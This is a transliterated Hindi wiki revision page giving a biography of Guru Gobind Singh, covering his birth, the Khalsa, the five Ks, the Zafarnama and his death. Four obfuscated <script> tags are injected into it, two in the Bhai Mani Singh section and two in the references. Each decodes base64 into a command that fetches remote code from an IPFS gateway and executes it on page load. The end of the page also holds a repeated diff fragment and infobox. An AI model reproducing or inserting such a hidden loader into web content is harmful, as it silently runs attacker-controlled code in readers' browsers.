Difference between revisions of "गुरु गोबिन्द सिंह"

	guru gobind sianh
	\|200px\|center
poora nam	goviand ray
any nam	guru goviand sianh
janm	22 disanbar san 1666 ee.
janm bhoomi	patana, bihar, bharat
mrityu	7 aktoobar san 1708 ee.
mrityu sthan	naande d, maharashtr
pati/patni	mata sandari, mata sahib divan
santan	ajit sianh, jujhar sianh, zoravar sianh, phateh sianh
mukhy rachanaean	chandi charitr, dashamagranth, krishnaavatar
bhasha	farasi, arabi, sanskrit, panjabi
prasiddhi	dasavean sikh guru, sikh khalasa sena ke sansthapak evan pratham senapati
padavi	sikkhoan ke dasavean v aantim guru

[unchecked revision]

Revision as of 13:24, 12 July 2011

guru goviand sianh (janm- 22 disanbar san 1666 ee. patana, bihar; mrityu- 7 aktoobar san 1708 ee. naande d, maharashtr) sikkhoan ke dasavean v aantim guru mane jate the, aur sikkhoan ke sainik sangati, khalasa ke srijan ke lie prasiddh the. kuchh jnani kahate haian ki jab-jab dharm ka hras hota hai, tab-tab saty evan nyay ka vighatan bhi hota hai tatha atank ke karan atyachar, anyay, hiansa aur manavata khatare mean hoti hai. us samay dushtoan ka nash evan saty, nyay aur dharm ki raksha karane ke lie eeshvar svayan is bhootal par avatarit hote haian. guru goviand sianh ji ne bhi is tathy ka pratipadan karate hue kaha hai,

"jab-jab hot arist apara. tab-tab deh dharat avatara."

parichay

guru goviand sianh ji ka janm 22 disanbar san 1666 ee. ko patana, bihar mean hua tha. inaka mool nam 'goviand ray' tha. goviand sianh ko sainy jivan ke prati lagav apane dada guru haragoviand sianh se mila tha aur unhean mahan bauddhik sanpada bhi uttaradhikar mean mili thi. vah bahubhashavid the, jinhean farasi arabi, sanskrit aur apani matribhasha panjabi ka jnan tha. unhoanne sikkh qanoon ko sootrabaddh kiya, kavy rachana ki aur sikkh granth 'dasam granth' (dasavaan khand) likhakar prasiddhi paee. unhoanne desh, dharm aur svatantrata ki raksha ke lie sikkhoan ko sangathit kar sainik parivesh mean dhala.

dasham guru goviand sianh ji svayan ek aise hi mahapurush the, jo us yug ki atankavadi shaktiyoan ka nash karane tatha dharm evan nyay ki pratishtha ke lie guru tegabahadur sianh ji ke yahaan avatarit hue. isi uddeshy ko spasht karate hue unhoanne kaha tha.

mujhe parameshvar ne dushtoan ka nash karane aur dharm ki sthapana karane ke lie bheja hai.

janm

guru goviand sianh ke janm ke samay desh par mugaloan ka shasan tha. hinduoan ko musalaman banane ki aurangazeb zabaradasti koshish karata tha. isi samay 22 disanbar, san 1666 ko guru tegabahadur ki dharmapatni goojari devi ne ek suandar balak ko janm diya, jo guru goviand sianh ke nam se vikhyat hua. poore nagar mean balak ke janm par utsav manaya gaya. bachapan mean sabhi log goviand ji ko 'bala pritam' kahakar bulate the. unake mama unhean bhagavan ki kripa manakar 'goviand' kahate the. bar-bar 'goviand' kahane se bala pritam ka nam 'goviand ray' p d gaya.

goviand ka bachapan

khilaunoan se khelane ki umr mean goviand ji kripan, katar aur dhanush-ban se khelana pasand karate the. goviand bachapan mean shararati the lekin ve apani shararatoan se kisi ko pareshan nahian karate the. goviand ek nisantan budhiya, jo soot katakar apana guzara karati thi, se bahut shararat karate the. ve usaki pooniyaan bikher dete the. isase dukhi hokar vah unaki maan ke pas shikayat lekar pahuanch jati thi. mata goojari paise dekar use khush kar deti thi. mata goojari ne goviand se budhiya ko tang karane ka karan poochha to unhoanne sahaj bhav se kaha,

usaki garibi door karane ke lie. agar maian use pareshan nahian karooanga to use paise kaise mileange.

aurangazeb se tegabahadur ki batachit

jab goviand ath- nau sal ke the tab unake pita tegabahadur anandapur sahib chale gaye. guru tegabahadur ka prabhav un dinoan kafi badh raha tha, vahian doosari or aurangazeb hiduoan par kahar barapa raha tha. kuchh kashmiri pandit tegabahadur ki sharan mean aurangazeb se bachane ke lie anandapur sahib aye. tegabahadur aurangazeb se is vishay mean batachit karane ke lie dilli pahuanche lekin aurangazeb ne unhean giraftar karava liya. aurangazeb ne unase kaha,

teg bahadur, ab tum mere rahamo-karam par ho. agar tum sachche sant ho to hamean koee chamatkar karake dikhao, varana apana eeman chho d do.

guru teg bahadur ne kaha,

meri gardan mean ek tabiz bandha hai, jisake karan tum mera kuchh nahian biga d sakate.

yah sunate hi guru tegabahadur ka sir aurangazeb ke ishare par kat diya gaya. yah ghatana 11 navambar 1675 ee. mean dilli ke chaandani chauk mean huee thi. jab tegabahadur ji ki gardan mean bandha tabiz kholakar dekha gaya to usame likha tha -

maianne apana sir de diya, dharm nahian.

tegabahadur ki shahadat ke bad gaddi par 9 varsh ki ayu mean 'guru goviand ray' ko baithaya gaya tha. 'guru' ki garima banaye rakhane ke lie unhoanne apana jnan badhaya aur sanskrit, farasi, panjabi aur arabi bhashaean sikhian. goviand ray ne dhanush- ban, talavar, bhala adi chalane ki kala bhi sikhi. unhoanne any sikkhoan ko bhi astr shastr chalana sikhaya. sikkhoan ko apane dharm, janmabhoomi aur svayan apani raksha karane ke lie sankalpabaddh kiya aur unhean manavata ka path padhaya. unaka nara tha- sat shri akal^[1]

baisakhi

guru goviand sianh ji
Guru Gobind Singh ji|thumb|250px san 1699 mean baisakhi vale din keshagadh sahab mean shri guru govind sianh ne ek vichitr natak kiya. khule maidan mean khade़ hokar unhoanne ek sir maanga, log hairan the ki hath mean talavar lekar vah ek vyakti ka sir maang rahe haian. yah kaisi anokhi maang hai. baisakh ke mele mean ek soee huee qaum ko jagane ka itihas racha ja raha tha. log tab yah nahian samajh sake.

baisakhi ko kee itihasakar jang-e-azadi ka shankhanad manate haian. gulami ki janjiroan ko katakar guru govind sianh ne haq halal ki l daee ki shurooat ki, vahian jo iansan apane hathoan mean ek lathi bhi pak dane mean jhijhakata tha, unhoanne kripan pak dane ka sahas bhara. ek- ek karake paanch jaanbaz apana shish hatheli par rakh kar age ae aur guru govind sianh ke us ahvan ko charitarth kiya.

panchapyare

vo paanch pyare jo desh ke vibhinn bhagoan se ae the aur samaj ke alag- alag jati aur sampraday ke log the, unhean ek hi katore mean amrit pila kar guru govind sianh ne ek bana diya. is prakar samaj mean unhoanne ek aisi kranti ka bij ropa, jisamean jati ka bhed aur sampradayavad, sab kuchh mita diya.

baisakhi ka ek mahattv yah hai ki parampara ke anusar panjab mean fasal ki kataee pahali baisakh ko hi shuroo hoti hai aur desh ke doosare hissoan mean bhi aj hi ke din fasal kataee ka tyohar manaya jata hai, jinake nam bhale hi alag-alag hoan. aj ke din yadi ham shri guru govind sianh ke jivan ke adarshoan ko, desh, samaj aur manavata ki bhalaee ke lie unake samarpan ko apani prerana ka srot banaaian aur unake bataye ge raste par nishthapoorvak chalean to koee karan nahian ki desh ke andar athava bahar se ae atankavadi aur hamalavar hamara kuchh bhi biga d sakean.

sikkhoan mean yuddh ka utsah

govid sianh ne sikkhoan mean yuddh ka utsah badhane ke lie har qadam uthaya. vir kavy aur sangit ka srijan unhoanne kiya tha. unhoanne apane logoan mean kripan jo unaki lauh kripa tha, ke prati prem vikasit kiya. khalasa ko purnasangathit sikkh sena ka margadarshak banakar, unhoanne do morchoan par sikkhoan ke shatruoan ke khilaf qadam uthaye.

pahala mugaloan ke khilaf ek fauj aur
doosara virodhi paha di janajatiyoan ke khilaf.

chitr:Blockquote-open.gif sava lakh se ek l daooan chi diyoan soan maian baj t dooan tabe gobiandasianh nam kahaooan - guru goviand sianh chitr:Blockquote-close.gif

itihas

guru goviand sianh ne dharm, sanskriti v rashtr ki an-ban aur shan ke lie apana sab kuchh nyauchhavar kar diya tha. guru goviand sianh jaisi virata aur balidan itihas mean kam hi dekhane ko milata hai. isake bavazood is mahan shakhsiyat ko itihasakaroan ne vah sthan nahian diya jisake ve haqadar haian. kuchh itihasakaroan ka mat hai ki guru goviand sianh ne apane pita ka badala lene ke lie talavar uthaee thi. kya sanbhav hai ki vah balak svayan l dane ke lie prerit hoga jisane apane pita ko atmabalidan ke lie prerit kiya ho.

guru govind sianh ji ko kisi se bair nahian tha, unake samane to paha di rajaoan ki eershya paha d jaisi ooanchi thi, to doosari or aurangazeb ki dharmik kattarata ki aandhi logoan ke astitv ko lil rahi thi. aise samay mean guru goviand sianh ne samaj ko ek naya darshan diya. unhoanne adhyatmik svatantrata ki prapti ke lie talavar dharan ki.

chitr:Blockquote-open.gif vo paanch pyare jo desh ke vibhinn bhagoan se ae the aur samaj ke alag- alag jati aur sampraday ke log the, unhean ek hi katore mean amrit pila kar guru govind sianh ne ek bana diya. is prakar samaj mean unhoanne ek aisi kranti ka bij ropa, jisamean jati ka bhed aur sampradayavad, sab kuchh mita diya. chitr:Blockquote-close.gif

khalasa panth

khalasa ka arth hai khalis arthat vishudgh, nirmal aur bina kisi milavat vala vyakti. isake alava ham yah kah sakate haian ki khalasa hamari maryada aur bharatiy sanskriti ki ek pahachan hai, jo har hal mean prabhu ka smaran rakhata hai aur apane karm ko apana dharm man kar zulm aur zalim se loha bhi leta hai.

govind sianh ji ne ek naya nara diya hai- vahe guru ji ka khalasa, vahe guru ji ki phateh.^[2]

guru ji dvara khalasa ka pahala dharm hai ki vah desh, dharm aur manavata ki raksha ke lie tan-man-dhan sab nyauchhavar kar de. nirdhanoan, asahayoan aur anathoan ki raksha ke lie sada age rahe. jo aisa karata hai, vah khalis hai, vahi sachcha khalasa hai. ye sanskar amrit pilakar goviand sianh ji ne un logoan mean bhar die, jinhoanne khalasa panth ko svikar kiya tha.

zapharanama mean svayan guru govind sianh ji ne likha hai ki jab sare sadhan nishphal ho jayean, tab talavar grahan karana nyayochit hai. guru goviand sianh ne 1699 ee. mean dharm evan samaj ki raksha hetu hi khalasa panth ki sthapana ki thi. khalasa yani khalis (shuddh), jo man, vachan evan karm se shuddh ho aur samaj ke prati samarpan ka bhav rakhata ho. sabhi jatiyoan ke varg-vibhed ko samapt karake unhoanne n sirf samanata sthapit ki balki unamean atm-samman aur pratishtha ki bhavana bhi paida ki. unaka spasht mat vyakt hai-

manas ki jat sabhaiek hai.

khalasa panth ki sthapana (1699) desh ke chaumukhi utthan ki vyapak kalpana thi. ek baba dvara guru haragoviand ko 'miri' aur 'piri' do talavarean pahanaee gee thian.

ek adhyatmikata ki pratik thi.
doosari saansarikata ki.

guru govind sianh ne atmavishvas evan atmanirbharata ka sandesh diya tha. khalasa panth mean ve sikh the, jinhoanne kisi yuddh kala ka koee vishesh prashikshan nahian liya tha. sikhoan mean samaj evan dharm ke lie svayan ko balidan karane ka jazba tha.

ek se katane sava lakh shatruoan ke sir
guru govind ne banaya panth khalasa
pita aur putr sab desh pe shahid hue
nahian rahi sukh sadhanoan ki kabhi lalasa
zoravar phatesianh divaroan mean chune ge
jag dekhata raha tha kroorata ka hadasa
chi diyoan ko baj se l da diya tha guruji ne
mugaloan ke sar pe jo chha gaya tha kal sa

guru govind sianh ka ek aur udaharan unake vyaktitv ko anootha sabit karata hai-

panch piyara banakar unhean guru ka darja dekar svayan unake shishy ban jate haian aur kahate haian- khalasa mero roop hai khas, khalasa mean ho karo nivas.^[3]

paanch kakar

yuddh ki pratyek sthiti mean sada taiyar rahane ke lie unhoanne sikhoan ke lie paanch kakar anivary ghoshit kie, jinhean aj bhi pratyek sikh dharan karana apana gaurav samajhata hai:-

kesh : jise sabhi guru aur rrishi-muni dharan karate ae the.
kangha : keshoan ko saph karane ke lie.
kachchha : sphoorti ke lie.
k da : niyam aur sanyam mean rahane ki chetavani dene ke lie.
kripan : atmaraksha ke lie.^[4]

jahaan shivaji rajashakti ke shanadar pratik haian, vahian guru govind sianh ek sant aur sipahi ke roop mean dikhaee dete haian. kyoanki guru govind sianh ko n to satta chahie aur n hi satta sukh. shanti evan samaj kalyan unaka tha. apane mata-pita, putroan aur hazaroan sikhoan ke pranoan ki ahuti dene ke bad bhi vah aurangazeb ko farasi mean likhe apane patr zapharanama mean likhate haian- aurangajeb tujhe prabhu ko pahachanana chahie tatha praja ko du:khi nahian karana chahie. toone quran ki kasam khakar kaha tha ki maian sulah rakhooanga, l daee nahian karooanga, yah qasam tumhare sir par bhar hai. too ab use poora kar.

ek adhyatmik guru ke atirikt guru goviand sianh ek mahan vidvan bhi the. unhoanne 52 kaviyoan ko apane darabar mean niyukt kiya tha. guru govind sianh ki mahattvapoorn kritiyaan haian- zapharanama evan vichitr natak. vah svayan sainik evan sant the. unhoanne apane sikhoan mean bhi isi bhavanaoan ka poshan kiya tha. guru gaddi ko lekar sikhoan ke bich koee vivad n ho isake lie unhoanne 'gurugranth sahib' ko guru ka darja diya. isaka shrey bhi prabhu ko dete hue kahate haian-

ajna bhee akal ki tabhi chalaiyo panth, sab sikkhan ko hukam hai guru maniyahu granth.

guru nanak ki dasavian jot guru goviand sianh apane jivan ka sara shrey prabhu ko dete hue kahate hai-

maian hooan param purakhako dasa, dekhan ayojagat tamasha. aisi shakhsiyat ko shat-shat naman.

virata v balidan ki misalean

paradada guru arjunadev ki shahadat.
dada guru haragoviand dvara kie ge yuddh.
pita guru tegabahadur sianh ki shahadat.
do putroan ka chamakaur ke yuddh mean shahid hona.
do putroan ko zianda divar mean chunava diya jana.

is sare ghatanakram mean bhi a dig rahakar guru goviand sianh sangharsharat rahe, yah koee samany bat nahian hai. yah unake mahan karmayogi hone ka praman hai. unhoanne khalasa ke srijan ka marg desh ki asmita, bharatiy virasat aur jivan moolyoan ki raksha ke lie, samaj ko ne sire se taiyar karane ke lie apanaya tha. ve sabhi praniyoan ko adhyatmik star par paramatma ka hi roop manate the. 'akal ustati' mean unhoanne spasht kaha hai ki jaise ek agni se karo doan agni sphurlliang utpann hokar alag-alag khilate haian, lekin sab agni roop haian, usi prakar sab jivoan ki bhi sthiti hai. unhoanne sabhi ko manav roop mean manakar unaki ekata mean vishvas prakat karate hue kaha hai ki hindoo turak kooo saphaji imam shaphi. manas ki jat sabai aikai pahachanabo.

azapharanama

guru goviand sianh moolatah dharmaguru the, lekin saty aur nyay ki raksha ke lie tatha dharm ki sthapana ke lie unhean shastr dharan karane p de. aurangazeb ko likhe ge apane 'azapharanama' mean unhoanne ise spasht kiya hai. unhoanne likha tha,

chooankar aj hama hilate dar gujashat, halale ast buradan b samashir ai dast.

arthat jab saty aur nyay ki raksha ke lie any sabhi sadhan viphal ho jaean to talavar ko dharan karana sarvatha uchit hai. unaki yah vani sikh itihas ki amar nidhi hai, jo aj bhi hamean prerana deti hai.

chitr:Blockquote-open.gif guru goviand sianh ne dharm, sanskriti v rashtr ki an-ban aur shan ke lie apana sab kuchh nyauchhavar kar diya tha. guru goviand sianh jaisi virata aur balidan itihas mean kam hi dekhane ko milata hai. isake bavazood is mahan shakhsiyat ko itihasakaroan ne vah sthan nahian diya jisake ve haqadar haian. kuchh itihasakaroan ka mat haian ki guru goviand sianh ne apane pita ka badala lene ke lie talavar uthaee thi. kya sanbhav hai ki vah balak svayan l dane ke lie prerit hoga jisane apane pita ko atmabalidan ke lie prerit kiya ho. chitr:Blockquote-close.gif

rachanaean

chandi charitr- maan chandi (shiva) ki stuti
dashamagranth- guru ji ki kritiyoan ka sankalan
krishnaavatar- bhagavat puran ke dashamaskandh par adharit
vibhinn guruoan, bhaktoan evan santoan ki vaniyoan ka guru granth sahib mean sankalan kiya.

bhaee manisianh

mukhy lekh : manisianh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhaee mani sianh ji guru sahib ke ek divan (mantri) the.
bhaee manisianh ne guru govind sianh ki rachanaoan ko ek jild (dashamagranth) mean prastut kiya tha.

mrityu

guru govind sianh ne apana aantim samay nikat janakar apane sabhi sikhoan ko ekatrit kiya aur unhean maryadit tatha shubh acharan karane, desh se prem karane aur sada din-dukhiyoan ki sahayata karane ki sikh di. isake bad yah bhi kaha ki ab unake bad koee dehadhari guru nahian hoga aur 'gurugranth sahib' hi age guru ke roop mean unaka marg darshan kareange. guru goviandasianh ki mrityu 7 aktoobar san 1708 ee. mean naande d, maharashtr mean huee thi.

aj manavata svarth, sandeh, sangharsh, hiansa, atank, anyay aur atyachar ki jin chunautiyoan se joojh rahi hai, unamean guru goviand sianh ka jivan-darshan hamara margadarshan kar sakata hai.

guru stuti

guru meri pooja, guru govind

guru meri pooja, guru govind
guru mera par brahm, guru bhagavant

guru mera deoo, alakh abheoo, sarv pooj charan guru sevoo
guru meri pooja, guru govind, guru mera par brahm, guru bhagavant

guru ka darshan .... dekh - dekh jivaan, guru ke charan dhoye -dhoye pivaan

guru bin avar nahian maian thaooan, anabin japoo guru guru naooan
guru meri pooja, guru govind, guru mera par brahm, guru bhagavant

guru mera jnan, guru hiraday dhyan, guru gopal purakh bhagavan
guru meri pooja, guru govind, guru mera par brahm, guru bhagavant

aise guru ko bal-bal jaiye ..-2 ap mukt mohe tarean ..

guru ki sharan raho kar jo de, guru bina maian nahian hor
guru meri pooja, guru govind, guru mera par brahm, guru bhagavant

guru bahut tare bhav par, guru seva jam se chhutakar
guru meri pooja, guru govind, guru mera par brahm, guru bhagavant

aandhakar mean guru mantr ujara, guru ke sang sajal nistara
guru meri pooja, guru govind, guru mera par brahm, guru bhagavant

guru poora paeeya badabhagi, guru ki seva jith na lagi
guru meri pooja, guru govind, guru mera par brahm, guru bhagavant

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ saty hi eeshvar hai.
↑ ki khalasa eeshvar ka hai aur eeshvar ki vijay sunishchit hai.
↑ jahaan paanch sikh ikatthe hoange, vahian maian nivas karooanga.
↑ guru gobiand sianh (hindi) (ech.ti.em.el) vebaduniyaan. abhigaman tithi: 14 joon, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

[1] saty hi eeshvar hai.

[2] sa eeshvar ka hai aur eeshvar ki vijay sunishchit hai.

[3] sikh ikatthe hoange, vahian maian nivas karooanga.

[4] uru gobiand sianh (hindi) (ech.ti.em.el) vebaduniyaan. abhigaman tithi: 14 joon, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]

[3]

[4]

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 बैसाखी का एक महत्त्व यह है कि परम्परा के अनुसार [[पंजाब]] में फ़सल की कटाई पहली बैसाख को ही शुरू होती है और देश के दूसरे हिस्सों में भी आज ही के दिन फ़सल कटाई का त्योहार मनाया जाता है, जिनके नाम भले ही अलग-अलग हों।
-आज के दिन यदि हम श्री गुरु गोविन्द सिंह के जीवन के आदर्शों को, देश, समाज और मानवता की भलाई के लिए उनके समर्पण को अपनी प्रेरणा का स्त्रोत बनाऐं और उनके बताये गए रास्ते पर निष्ठापूर्वक चलें तो कोई कारण नहीं कि देश के अन्दर अथवा बाहर से आए आतंकवादी और हमलावर हमारा कुछ भी बिगाड़ सकें।
+आज के दिन यदि हम श्री गुरु गोविन्द सिंह के जीवन के आदर्शों को, देश, समाज और मानवता की भलाई के लिए उनके समर्पण को अपनी प्रेरणा का स्रोत बनाऐं और उनके बताये गए रास्ते पर निष्ठापूर्वक चलें तो कोई कारण नहीं कि देश के अन्दर अथवा बाहर से आए आतंकवादी और हमलावर हमारा कुछ भी बिगाड़ सकें।
 ==सिक्खों में युद्ध का उत्साह==

guru gobind sianh
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poora nam	goviand ray
any nam	guru goviand sianh
janm	22 disanbar san 1666 ee.
janm bhoomi	patana, bihar, bharat
mrityu	7 aktoobar san 1708 ee.
mrityu sthan	naande d, maharashtr
pati/patni	mata sandari, mata sahib divan
santan	ajit sianh, jujhar sianh, zoravar sianh, phateh sianh
mukhy rachanaean	chandi charitr, dashamagranth, krishnaavatar
bhasha	farasi, arabi, sanskrit, panjabi
prasiddhi	dasavean sikh guru, sikh khalasa sena ke sansthapak evan pratham senapati
padavi	sikkhoan ke dasavean v aantim guru